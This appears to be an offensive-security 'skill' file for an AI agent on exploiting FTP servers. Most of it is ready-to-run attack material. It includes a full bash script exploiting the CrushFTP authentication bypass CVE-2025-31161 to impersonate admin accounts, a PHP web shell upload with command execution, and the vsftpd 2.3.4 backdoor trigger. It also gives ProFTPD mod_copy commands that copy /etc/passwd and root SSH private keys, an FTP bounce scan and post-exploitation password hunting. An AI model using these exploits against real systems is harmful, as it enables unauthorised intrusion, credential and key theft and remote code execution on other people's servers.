ftp-server-exploitation

name: FTP Server Exploitation description: | This skill should be used when FTP services are detected including: - CrushFTP (CVE-2025-31161 auth bypass) - vsftpd (backdoor) - ProFTPD (mod_copy) - Pure-FTPd, FileZilla Server Covers authentication bypass, file access, and privilege escalation. version: 1.0.0

FTP Server Exploitation Skill

Service Identification

Banner Analysis

# Nmap FTP detection
nmap -sV -sC -p 21 <TARGET>

# Manual banner grab
nc <TARGET> 21
curl ftp://<TARGET>

Common FTP Servers

CVE-2025-31161: CrushFTP Authentication Bypass

CRITICAL - Allows unauthenticated access to any user account

Affected Versions

• CrushFTP < 11.3.1 (v11 branch)
• CrushFTP < 10.8.4 (v10 branch)

Detection

# Look for CrushFTP web interface
curl -s http://<TARGET>/WebInterface/ | grep -i crush

# Check version in response headers
curl -sI http://<TARGET>/WebInterface/

Exploit: AWS4-HMAC-SHA256 Auth Bypass

#!/bin/bash
# CrushFTP Auth Bypass - CVE-2025-31161

TARGET="ftp.target.htb"
USER="admin"  # User to impersonate (try: admin, crushadmin, root)

# Generate session cookie
timestamp=$(date +%s)
random=$(head -c 30 /dev/urandom | base64 | tr -dc a-zA-Z0-9 | head -c 30)
cookie="${timestamp}_${random}"
c2f="${cookie: -4}"

# Authenticate as any user without password
curl -s -X POST "http://${TARGET}/WebInterface/function/" \
  -H "Cookie: CrushAuth=${cookie}" \
  -H "Authorization: AWS4-HMAC-SHA256 Credential=${USER}/" \
  -d "command=getUsername&c2f=${c2f}"

echo ""
echo "Authenticated as ${USER}"

# List users (if admin)
curl -s -X POST "http://${TARGET}/WebInterface/function/" \
  -H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}" \
  -d "command=getUserList&c2f=${c2f}&serverGroup=MainUsers"

# List VFS (virtual filesystem)
curl -s -X POST "http://${TARGET}/WebInterface/function/" \
  -H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}" \
  -d "command=getXMLListing&c2f=${c2f}&path=/"

File Upload via WebDAV

# Upload PHP shell (if VFS maps to web root)
echo '<?php system($_GET["cmd"]); ?>' | curl -s -X PUT \
  "http://${TARGET}/webProd/shell.php" \
  -H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}" \
  --data-binary @-

# Access shell
curl "http://target.htb/shell.php?cmd=id"

Enumerate VFS Paths

# Common VFS paths to check
/webProd    # Often maps to web root
/home       # User home directories
/IT         # IT department files
/backup     # Backup files
/.ssh       # SSH keys!

vsftpd 2.3.4 Backdoor

# Trigger backdoor with :) in username
nc <TARGET> 21
USER backdoored:)
PASS anything

# Connect to backdoor shell
nc <TARGET> 6200

ProFTPD mod_copy (CVE-2015-3306)

# Copy files without authentication
nc <TARGET> 21
site cpfr /etc/passwd
site cpto /var/www/html/passwd.txt

# Copy SSH key
site cpfr /root/.ssh/id_rsa
site cpto /var/www/html/id_rsa

Anonymous FTP Access

# Check anonymous login
ftp <TARGET>
# Username: anonymous
# Password: anonymous@

# Or via curl
curl ftp://anonymous:anonymous@<TARGET>/

# Download all files
wget -r ftp://anonymous:anonymous@<TARGET>/

FTP Bounce Attack

# Use FTP server to scan internal network
nmap -b anonymous:anonymous@<TARGET> 10.0.0.0/24

Post-Exploitation: Password Hunting

After gaining FTP access, search for:

# Config files
grep -r "password" /path/to/ftp/
grep -r "pass" /path/to/ftp/
grep -r "credential" /path/to/ftp/

# Common password locations
config.php
.env
web.config
settings.xml
database.yml

CrushFTP VFS to SSH Key

If CrushFTP VFS exposes /root or user home directories:

# Check for SSH keys
curl -s "http://${TARGET}/.ssh/id_rsa" \
  -H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}"

# Or via API
curl -s -X POST "http://${TARGET}/WebInterface/function/" \
  -H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}" \
  -d "command=getXMLListing&c2f=${c2f}&path=/.ssh"